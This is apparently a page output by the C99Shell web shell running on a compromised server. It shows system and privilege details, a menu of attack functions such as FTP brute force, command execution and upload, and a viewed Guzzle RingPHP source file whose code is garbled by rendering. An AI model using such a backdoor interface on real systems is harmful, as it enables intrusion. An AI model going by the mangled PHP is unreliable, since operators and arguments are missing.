!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/guzzlehttp/ringphp/src/Future/   drwxrwxr-x
Free 11.62 GB of 61.93 GB (18.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CompletedFutureValue.php (1.34 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace GuzzleHttp\Ring\Future;

use 
React\Promise\FulfilledPromise;
use 
React\Promise\RejectedPromise;

/**
 * Represents a future value that has been resolved or rejected.
 */
class CompletedFutureValue implements FutureInterface
{
    protected 
$result;
    protected 
$error;

    private 
$cachedPromise;

    
/**
     * @param mixed      $result Resolved result
     * @param \Exception $e      Error. Pass a GuzzleHttp\Ring\Exception\CancelledFutureAccessException
     *                           to mark the future as cancelled.
     */
    
public function __construct($result, \Exception $e null)
    {
        
$this->result $result;
        
$this->error $e;
    }

    public function 
wait()
    {
        if (
$this->error) {
            throw 
$this->error;
        }

        return 
$this->result;
    }

    public function 
cancel() {}

    public function 
promise()
    {
        if (!
$this->cachedPromise) {
            
$this->cachedPromise $this->error
                
? new RejectedPromise($this->error)
                : new 
FulfilledPromise($this->result);
        }

        return 
$this->cachedPromise;
    }

    public function 
then(
        callable 
$onFulfilled null,
        callable 
$onRejected null,
        callable 
$onProgress null
    
) {
        return 
$this->promise()->then($onFulfilled$onRejected$onProgress);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8599 ]--